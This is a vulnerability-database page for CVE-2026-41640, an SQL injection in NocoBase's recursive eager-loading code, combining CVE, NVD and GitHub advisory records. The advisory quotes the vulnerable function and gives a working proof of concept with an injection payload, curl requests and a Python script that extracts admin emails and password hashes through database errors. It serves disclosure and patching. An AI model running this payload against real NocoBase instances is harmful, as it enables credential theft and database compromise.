Vulnerability-Lookup

CVE-2026-41640 (GCVE-0-2026-41640)

Vulnerability from cvelistv5 – Published: 2026-05-07 04:09 – Updated: 2026-05-07 12:55

Title

NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading

Summary

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-07 12:54 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7876 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/nocobase/nocobase/security/adv…	x_refsource_CONFIRM
https://github.com/nocobase/nocobase/pull/9133	x_refsource_MISC
https://github.com/nocobase/nocobase/commit/202e2…	x_refsource_MISC
https://github.com/nocobase/nocobase/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
nocobase	nocobase	Affected: < 2.0.39	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41640",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T12:54:23.331234Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-07T12:55:04.738Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nocobase",
          "vendor": "nocobase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.39"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T04:09:59.264Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
        },
        {
          "name": "https://github.com/nocobase/nocobase/pull/9133",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nocobase/nocobase/pull/9133"
        },
        {
          "name": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
        },
        {
          "name": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
        }
      ],
      "source": {
        "advisory": "GHSA-4948-f92q-f432",
        "discovery": "UNKNOWN"
      },
      "title": "NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-41640",
    "datePublished": "2026-05-07T04:09:59.264Z",
    "dateReserved": "2026-04-21T23:58:43.801Z",
    "dateUpdated": "2026-05-07T12:55:04.738Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-41640",
      "date": "2026-11-14",
      "epss": "0.01875",
      "percentile": "0.79747"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "nocobase",
                "vendor": "nocobase",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 2.0.39"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "353FCC5B-0DF7-49FC-9E2B-FD04C3A46751",
                    "versionEndExcluding": "2.0.39",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39."
          },
          {
            "lang": "es",
            "value": "NocoBase es una plataforma no-code/low-code impulsada por IA para construir aplicaciones de negocio y soluciones empresariales. Antes de la versi\u00f3n 2.0.39, la funci\u00f3n queryParentSQL() en el paquete de la base de datos central construye una consulta CTE recursiva uniendo nodeIds con concatenaci\u00f3n de cadenas en lugar de usar consultas parametrizadas. El array nodeIds contiene valores de clave primaria le\u00eddos de las filas de la base de datos. Un atacante que puede crear un registro con una clave primaria de cadena maliciosa puede inyectar SQL arbitrario cuando cualquier solicitud subsiguiente activa la carga ansiosa recursiva en esa colecci\u00f3n. Este problema ha sido parcheado en la versi\u00f3n 2.0.39."
          }
        ],
        "id": "CVE-2026-41640",
        "lastModified": "2026-11-11T23:10:00.263",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 1.6,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-41640",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T12:54:23.331234Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-05-07T04:16:28.277",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Issue Tracking",
              "Patch"
            ],
            "url": "https://github.com/nocobase/nocobase/pull/9133"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch",
              "Release Notes"
            ],
            "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Mitigation",
              "Vendor Advisory"
            ],
            "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Mitigation",
              "Vendor Advisory"
            ],
            "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-89"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-06-05T19:20:44+00:00",
      "cve": "CVE-2026-41640",
      "id": "CVE-2026-41640",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-41640.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-41640",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-05-07T12:54:23.331234Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-05-07T12:54:58.504Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "nocobase",
              "vendor": "nocobase",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 2.0.39"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-89",
                  "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-05-07T04:09:59.264Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
            },
            {
              "name": "https://github.com/nocobase/nocobase/pull/9133",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/nocobase/nocobase/pull/9133"
            },
            {
              "name": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
            },
            {
              "name": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
            }
          ],
          "source": {
            "advisory": "GHSA-4948-f92q-f432",
            "discovery": "UNKNOWN"
          },
          "title": "NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-41640",
        "datePublished": "2026-05-07T04:09:59.264Z",
        "dateReserved": "2026-04-21T23:58:43.801Z",
        "dateUpdated": "2026-05-07T12:55:04.738Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-41640

Vulnerability from fkie_nvd - Published: 2026-05-07 04:16 - Updated: 2026-11-11 23:10

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604	Patch
security-advisories@github.com	https://github.com/nocobase/nocobase/pull/9133	Issue Tracking, Patch
security-advisories@github.com	https://github.com/nocobase/nocobase/releases/tag/v2.0.39	Patch, Release Notes
security-advisories@github.com	https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	nocobase	nocobase	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "nocobase",
          "vendor": "nocobase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.39"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "353FCC5B-0DF7-49FC-9E2B-FD04C3A46751",
              "versionEndExcluding": "2.0.39",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39."
    },
    {
      "lang": "es",
      "value": "NocoBase es una plataforma no-code/low-code impulsada por IA para construir aplicaciones de negocio y soluciones empresariales. Antes de la versi\u00f3n 2.0.39, la funci\u00f3n queryParentSQL() en el paquete de la base de datos central construye una consulta CTE recursiva uniendo nodeIds con concatenaci\u00f3n de cadenas en lugar de usar consultas parametrizadas. El array nodeIds contiene valores de clave primaria le\u00eddos de las filas de la base de datos. Un atacante que puede crear un registro con una clave primaria de cadena maliciosa puede inyectar SQL arbitrario cuando cualquier solicitud subsiguiente activa la carga ansiosa recursiva en esa colecci\u00f3n. Este problema ha sido parcheado en la versi\u00f3n 2.0.39."
    }
  ],
  "id": "CVE-2026-41640",
  "lastModified": "2026-11-11T23:10:00.263",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-41640",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-07T12:54:23.331234Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-07T04:16:28.277",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/nocobase/nocobase/pull/9133"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-4948-F92Q-F432

Vulnerability from github – Published: 2026-04-22 20:09 – Updated: 2026-05-08 19:55

Summary

@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading

Details

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.

TOKEN="<jwt_token>"

# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'

# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"root","title":"Root"}'

# 3. Create injection parent — error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^
#                                                             Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

Subquery	Extracted Value
`SELECT version()`	`PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...`
`SELECT current_database()`	`nocobase`
`SELECT email FROM users ORDER BY id LIMIT 1`	`admin@nocobase.com`
`SELECT password FROM users ORDER BY id LIMIT 1`	`006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38`
`SELECT string_agg(email\\|\\|':'\|\|substring(password,1,16), ' \\| ') FROM users`	`admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf`

Impact

Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
Availability: Resource-exhaustive queries or destructive DDL.
Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution.
Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Fix Suggestion

Use parameterized queries. Replace the string concatenation with bind parameters: javascript const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(','); const sql = `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte`; return { sql, bind: nodeIds }; Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).
Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.
Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/database"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:09:02Z",
    "nvd_published_at": "2026-05-07T04:16:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n  db: Database;\n  nodeIds: any[];\n  collection: Collection;\n  foreignKey: string;\n  targetKey: string;\n}) =\u003e {\n  const { collection, db, nodeIds } = options;\n  const tableName = collection.quotedTableName();\n  const { foreignKey, targetKey } = options;\n  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n  const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n  const queryInterface = db.sequelize.getQueryInterface();\n  const q = queryInterface.quoteIdentifier.bind(queryInterface);\n  return `WITH RECURSIVE cte AS (\n      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n      FROM ${tableName}\n      WHERE ${q(targetKeyField)} IN (\u0027${nodeIds.join(\"\u0027,\u0027\")}\u0027)  // \u003c-- INJECTION\n      UNION ALL\n      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n      FROM ${tableName} AS t\n      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n      )\n      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively \u0026\u0026 instances.length \u003e 0) {\n    const targetKey = association.targetKey;\n    const sql = queryParentSQL({\n        db: this.db, collection, foreignKey, targetKey,\n        nodeIds: instances.map((instance) =\u003e instance.get(targetKey)), // from DB rows\n    });\n    const results = await this.db.sequelize.query(sql, { type: \u0027SELECT\u0027, transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `\u0027)` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n  root\u0027) UNION ALL SELECT 